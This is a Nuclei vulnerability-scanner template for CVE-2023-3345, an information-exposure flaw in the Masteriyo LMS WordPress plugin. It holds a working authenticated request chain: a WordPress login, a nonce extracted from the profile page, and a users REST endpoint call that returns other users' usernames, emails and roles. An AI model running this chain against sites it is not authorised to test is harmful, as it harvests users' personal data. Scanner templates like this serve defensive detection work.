nuclei-templates/http/cves/2023/CVE-2023-3345.yaml

78 lines
2.3 KiB
YAML

id: CVE-2023-3345
info:
name: LMS by Masteriyo < 1.6.8 - Information Exposure
author: DhiyaneshDK
severity: medium
description: |
The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
remediation: |
Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
- https://github.com/RandomRobbieBF/learning-management-system
- https://wordpress.org/plugins/learning-management-system
- https://nvd.nist.gov/vuln/detail/CVE-2023-3345
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2023-3345
cwe-id: CWE-200
epss-score: 0.00235
epss-percentile: 0.61368
cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: masteriyo
product: masteriyo
framework: wordpress
tags: wp-plugin,xss,wp,wordpress,exposure,authenticated,learning-management-system,wpscan
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/masteriyo/v1/users/ HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '"username":'
- '"email":'
- '"roles":'
condition: and
- type: word
part: header_3
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([a-z0-9]+)","versionString'
internal: true
# digest: 4a0a0047304502200ffc620664e1ab63d45e53bc7a5f636992e51a2bbdd7ffe964dbe5e2c35d76ae02210090c93110837f91cd0635d8e0a0bdb4456b290bcfe50aa7d25488fcd0f90ad7b3:922c64590222798bb761d5b6d8e72950